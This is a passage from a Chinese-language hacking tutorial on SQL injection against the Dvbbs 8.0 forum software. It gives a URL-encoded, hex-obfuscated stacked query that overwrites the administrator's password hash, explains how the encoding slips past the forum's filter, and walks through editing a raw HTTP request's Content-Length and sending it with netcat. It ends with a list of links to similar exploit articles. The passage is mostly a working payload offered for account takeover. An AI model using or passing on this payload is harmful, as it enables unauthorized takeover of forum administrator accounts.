接下来的操作可能会有点复杂,因为我们需要构造一下这个数据包再用NC提交。我们要先构造一下注入语句,例如要更改管理员用户的前台登录密码可以这样构造:
%3Bdeclare+@a+sysname+select
+@a%3D0x6500650065003000310063003900610062003700320036003700660032003500
+update+dv%5Fuser+set+userpassword%3D@a+where+userid%3D1
这段代码的原形为:
;declare @a sysname select @a=0x6500650065003000310063003900610062003700320036003700660032003500
update dv_user set userpassword=@a where userid=1
这个语句的大致意思是把dv_user表里userid=1的用户密码字段userpassword更改为hackest(其中的 0x6500650065003000310063003900610062003700320036003700660032003500是这样转换出来的:先把字符hackest加密成16的MD5散列eee01c9ab7267f25,再用转换工具把eee01c9ab7267f25转换成 SQL_En字符即可),如图5、图6。

之所以要这样变形是为了绕过动网8.0的过滤,要是觉得难以理解可以多看几次然后动手实践一下即可明白。把我们构造的变形过的注入语句:●% 3Bdeclare+@a+sysname+select+@a%3D0x650065006500300031006300390061006200
3700320036003700660032003500 +update+dv%5Fuser+set+userpassword%3D@a+where+userid%3D1●插入到test.txt里的最后一行的topicid=1后面,然后计算一下数据包所增加的字符数(原数据包长度为90,现在增加的字符数为152,加起来就是242),所以把 Content-Length后面的90改为242再保存。这里要注意的是操作一定要细心点,因为如果算错数据包长度,用NC提交的时候会不成功的。在执行NC提交操作前,我们先来看下dv_user表里的admin的userpassword字段为469e80d32c0559f8,如图7。
接下来就是用NC提交数据包了,把nc.exe和test.txt放在同一个目录下(我这里是放在C盘根目录下),然后执行●nc 127.0.0.1 80●,如图8。
看到这样的返回信息,如无意外就已经成功更改了管理员admin的前台登录密码了。由于我是本机架设的测试环境,可以极方便的查看数据的变动。先去看看成功了没有,明显已经成功了。userpassword已经由原来的admin888的16位MD5(469e80d32c0559f8)变成了 hackest的16位MD5(eee01c9ab7267f25),如图9。
该漏洞测试成功了,
| 动网8.0最新远程注入漏洞来了 | 09-22 | |
| 利用最近热门的Xss漏洞能做什么? | 09-10 | |
| Dz0724补丁补掉的一个xss+补掉的 | 09-04 | |
| 浪人下载和浪人文章的漏洞利用 | 09-01 | |
| XSS跨站脚本及SQL注入漏洞技术分 | 08-27 | |
| 风讯注入0day | 08-25 | |
| 动易2006_SP6最新漏洞得到管理员 | 08-20 | |
| Dvbbs8严重漏洞 | 08-11 | |
| oblog商业版本4.6注射漏洞,直接 | 08-11 | |
| dvbbs8.0 access 后台拿webshell | 08-11 | |
| 百度博客挂马 | 08-06 | |
| 无<>跨站一例——kevin blog跨站 | 08-03 | |